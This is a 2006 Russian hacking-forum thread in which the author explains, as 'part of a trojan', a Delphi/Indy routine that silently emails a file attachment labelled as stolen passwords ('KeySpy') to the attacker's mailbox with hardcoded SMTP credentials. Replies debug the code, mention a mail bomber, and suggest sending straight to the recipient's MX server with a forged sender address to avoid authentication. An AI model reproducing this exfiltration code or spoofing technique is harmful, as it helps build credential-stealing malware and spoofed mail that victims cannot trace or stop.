Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Статьи (https://forum.antichat.xyz/forumdisplay.php?f=30)
-   -   Delphi для новичков, или бойтесь данайцев, дары приносящих. Часть 1. (https://forum.antichat.xyz/showthread.php?t=15688)

gadjet 09.03.2006 22:04

Delphi для новичков, или бойтесь данайцев, дары приносящих. Часть 1.
 
На Ачате стали появляться статьи по кодингу, и я, будучи программистом, тоже захотел внести свою лепту в развитие этого раздела. Нет, я не буду объяснять вам, как сделать программу погони за бешенной кнопкой, я думаю, что эта тема очень отдаленно связана с хакингом. Сегодня я хочу рассказать о написании трояна - вернее, части трояна. Впрочем, созданную тулзу вы сможете вполне использовать и в мирных целях. И так, давайте напишем нечто вроде почтового клиента. Я думаю, не стоит объяснять, что многие трояны высылают каким-либо образом найденную информацию на мыло своему создателю. Сначала зарегим мыло на mail'е. Этот ящик потребуется нам для отправки писем. Давайте приступим к написанию проги. Вынесем на форму компоненты IdSMTP и IdMessage (вкладки Indy Clients и Indy Misc). Создадим процедуру отправки письма. Назовем ее SendMail:

procedure SendMail;
var
LSMTP: TIdSMTP;
LMsg: TIdMessage;
x: TIdAttachment; //это - аттач письма

Мы объявили переменные, теперь создаемся:

begin //Ну начинаем :)
LSMTP := TIdSMTP.Create(nil); //Создаемся
LMsg := TIdMessage.Create(LSMTP);

Отлично, пора приступать к написанию письма))

with LMsg do
begin
Subject := 'Пароли Ламерюги'; // Здесь вводим тему
Recipients.EMailAddresses := '11111111@yandex.ru' ; // куда будет послано письмо...я пишу жене и дочке, точка.
From.Text := '2222222@mail.ru'; //Зареганное мыло на мейле.
Body.Add('Текст письма');
x:=TIdAttachment.Create(LMsg.MessageParts,'Пут к файлу аттача'); //аттач письма

end;
with LSMTP do
begin
AuthenticationType:=atNone;
Host := 'smtp.mail.ru';
Port := 25;
Username :='2222222@mail.ru' ; //зареганное мыло на мейле
Password :='lol' ; //пароль к зареганному мылу на мейле
try
Connect; //зухель коннект!!
Send(LMsg);
except
end;
end;
FreeAndNil(LMsg);
FreeAndNil(LSMTP);

end;


Строчки
try
Connect;
Send(LMsg);
except
добавленны для того, чтобы, если нет соединения с нетом, не вылетала ошибка (Конструкция try ... exept).
Вот, собственно, и все. Вот полный листинг проги:

procedure SendMail;
var
LSMTP: TIdSMTP;
LMsg: TIdMessage;
x: TIdAttachment;
windir: array [0..255] of char;//Обьявлям переменные.
begin //Ну начинаем :)
LSMTP := TIdSMTP.Create(nil); //Создаемся
LMsg := TIdMessage.Create(LSMTP);
with LMsg do
begin
Subject := 'Пароли Ламерюги'; // Здесь вводим тему
Recipients.EMailAddresses := '1111111@yandex.ru' ; // куда будет послано письмо
From.Text := '22222222@mail.ru'; //От кудыкина будет письмо
Body.Add('KeySpy');

x:=TIdAttachment.Create(LMsg.MessageParts,windir+' путь');




end;
with LSMTP do
begin
AuthenticationType:=atNone;
Host := 'smtp.mail.ru';
Port := 25;
Username :='22222222@mail.ru' ;
Password :='loxi' ;
try
Connect; //зухель коннект!!
Send(LMsg);
except
end;
end;
FreeAndNil(LMsg);
FreeAndNil(LSMTP);

end;

Просьба заценить статью.

ascas 09.03.2006 23:19

Ну я все отшлифовал и скомпилировал, но на Send(msg) мне выдает socket error 10060. Это проблема с SMTP, когда я делал mail bomber на vb или C#, у меня тоже самое было, а когда я ставлю вместо mailовского SMTP свой локальный все посылает и доходит. Как у остальных все с этим делом нормально или таже хренотень?

KEZ 10.03.2006 00:02

Для ОСОБО ЛЕНИВЫХ:
ОТКРЫВАЕМ WINERROR.H и ИШЕМ СТРОКУ "60"
НАХОДИМ

КРАСНЫМ НАПИСАНО: 10060 - ОШИБКА WINSOCKET - //
// MessageId: ERROR_BAD_REM_ADAP
//
// MessageText:
//
// The remote adapter is not compatible.
//
#define ERROR_BAD_REM_ADAP 60L

KEZ 10.03.2006 00:04

А все это лучше делать не так, а получить АДРЕС mx-сервера локального юзера И СЛАТЬ через НЕГО без всяких smtp-серверов заданых юзером и паролей

ascas 10.03.2006 10:11

Цитата:

Сообщение от KEZ
А все это лучше делать не так, а получить АДРЕС mx-сервера локального юзера И СЛАТЬ через НЕГО без всяких smtp-серверов заданых юзером и паролей

А неподскажешь как получить этот адрес и как именно через него слать?

KEZ 10.03.2006 11:13

Как получить точно не подскажу. Но можно узнать у DNS сервера, прописаного в настройках.
Как - читай RFC о DNS. (нужна какую-то UDP датаграмму послать)
http://rfc.net/search.php3?phrase=DNS

Я немного поискал в поисковиках, пока безрезультатно, везде такиеже тупые советы (прям как у меня) - но конкретно никто ничего незнает ...

А слать само письмо очень просто
подключись, пошли MAIL FROM: свойадрес
RCPT TO: кому
DATA
тут текст
.
причем абсолютно всеравно, с какого емейла вы будете это слать, тоесть на поле MAIL FROM нет ограничений (кроме, наверное формата a@b), так будет всегда, т.к. если бы письма локального пользователя не принимались, не работала бы маршрутизация почты. мы просто делаем вид что мы сервер, через который было послано письмо. например с мыла a@a.com (через a.com) шлется письмо для a@b.com (сервер b.com)
сервер b.com подключаетс к mx-серверу a.com, т.к. это локальный сервер для юзера a@a.com, на который пошло письмо и без всякой авторизации и прочей ерунды передает ему письмо.

чато бывает что адрес mx-сервера mx0.server (например mx0.myserver.com)

ascas 10.03.2006 12:15

Короче довольно долго лазил по поисковикам, но единственное что нашел какой то обрывок кода. Автор говорит что он получает mx по dns, но я так и не понял на каком языке он написан, кажись на с++, ну короче может кто объяснит что это такое:

use Net::DNS;
my @mx = mx($domain);

KEZ 25.03.2006 21:49

Цитата:

use Net:NS;
my @mx = mx($domain);
использование Net:NS для получение мх на перле


Время: 14:32